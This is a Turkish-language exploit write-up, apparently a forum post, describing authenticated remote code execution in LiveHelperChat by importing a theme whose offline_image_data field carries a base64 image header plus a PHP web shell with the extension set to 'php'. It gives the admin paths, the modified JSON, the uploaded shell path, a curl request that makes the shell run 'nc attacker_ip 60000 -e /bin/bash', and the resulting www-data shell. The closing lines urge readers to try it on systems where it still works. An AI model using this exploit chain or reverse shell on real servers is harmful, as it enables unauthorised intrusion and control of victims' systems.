LiveHelperChat - Tema yükleme fonksiyonu ile uzaktan kod yürütme

Saldırı Özeti

LiveHelperChat sistemine Giriş yaptıktan sonra, girişi JSON formatında kabul eden bir içe aktarma işlevi tanımlanmıştır.

  1. JSON formatı analiz edildi ve bir Base64 kodlanmış PNG görüntü girişi tespit edildi.
  2. Görüntü giriş parametrelerini manipüle ederek, keyfi kod yürütmek için kötü amaçlı bir php dosyası yüklemek mümkün oldu.

Eklenti bilgileri:

Adı: LiveHelperChat Ana Sayfa: https://livehelperchat.com/

Proof Of Concept

İlk incelemede farkettiğimizde, şu anda web uygulamasına yüklenen hiçbir tema yoktu. İlk adım, bir PHP dosyasını doğrudan dosya girişlerinden birine yüklemeye çalışmaya çalıştık ancak bu bizim durumumuzda işe yaramıyordu
Bu güvenlik açığından yararlanmak için önce temel tema oluşturmalıyız. Hemen savunmasız dizine gidelim.

/lhc_web/index.php/site_admin/abstract/new/WidgetTheme

Gerekli girdi ve parametreleri sahte verilerle dolduruyoruz. Ardından geri dönüp temayı şurada bulunan Widget dizininden indiriyoruz:

/lhc_web/index.php/site_admin/abstract/edit/WidgetTheme/1

Dosya indirildiğinde, onu açarız ve **offline_image_data ** parametresini ve **offline_image_data_ext ** parametresini değiştiririz.

Payload: base64(Image Header + PHP Web Shell)

Offline_image_data, yük ile değiştirilir.

Offline_image_data_ext basitçe “php” olarak ayarlanır.

Exploir şunun gibi görünmelidir:
{
“name”: “Ozan”,
“name_company”: “Vvhack.org”,
“…[SNIP]…”: “…[SNIP]…”,
“offline_image_data”: “base64_payload”,
“offline_image_data_ext”: “php”
}

Exploit içeren tema hazırlandıktan sonra aşağıdaki sayfada web sunucusuna yüklenir:
/lhc_web/index.php/site_admin/theme/import
w1

Yükleme başarılı olduktan sonra, kullanıcı içe aktarılan temayı Widget temaları bölümünde düzenlemelidir. Sayfa yüklendiğinde, php web kabuğu da yüklenir. Bizim durumumuzda, sayfa kaynağını görüntüleyerek ve offline_image_data parametresinin dosya yolunu görüntüleyerek shell’imizin yüklendiği yolu belirledik:

**/lhc_web/var/storagetheme/2020/06/03/2/2c36ce9c8ebb012be3bcb3acb60abbc3.php**

Web kabuğumuz, parametre olarak “cmd” kullanarak sunucu üzerinde kod çalıştırabilir. Kullanıcı daha sonra nc kullanarak makinesine bir reverse shell kurmaya devam edebilir. Daha sonra GET yöntemi üzerinden aşağıdaki komutu vererek reverse shell bağlantısı kurmaya devam ediyoruz. İlk olarak, yerel makinemizde bir dinleyici başlatıyoruz.

> $ nc -lnvp 60000

Ardından, PHP web shell’imizi kullanarak web sunucusuna bir GET isteği göndermeye devam ediyoruz.

> $ curl -X GET \ 
http://victim_ip/lhc_web/var/storagetheme/2020/06/03/2/2c36ce9c8ebb012be3bcb3acb60abbc3.php?cmd=nc+attacker_ip+60000+-e+/bin/bash

Bağlantı başarılı olursa, dinleyicimize aşağıdaki mesajı almalıyız. id komutunu verdikten sonra, www-data kullanıcısı olarak oturum açtığımızı öğreniyoruz.

> $  nc -lnvp 60000
listening on [any] 60000 ...
connect to [attacker_ip] from (UNKNOWN) [victim_ip] 40248
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Zafiyetimiz bu şekilde çalıştı. Eskiden bu uygulamayı kullanan sistemlerde böyle reverse shell alarak rce zafiyetini tetikliyorduk. Şimdi yine bazı yerlerde çalışıyor. Denk gelirse deneyebilirsiniz. Başka bir yazıda görüşmek üzere :)

5 Beğeni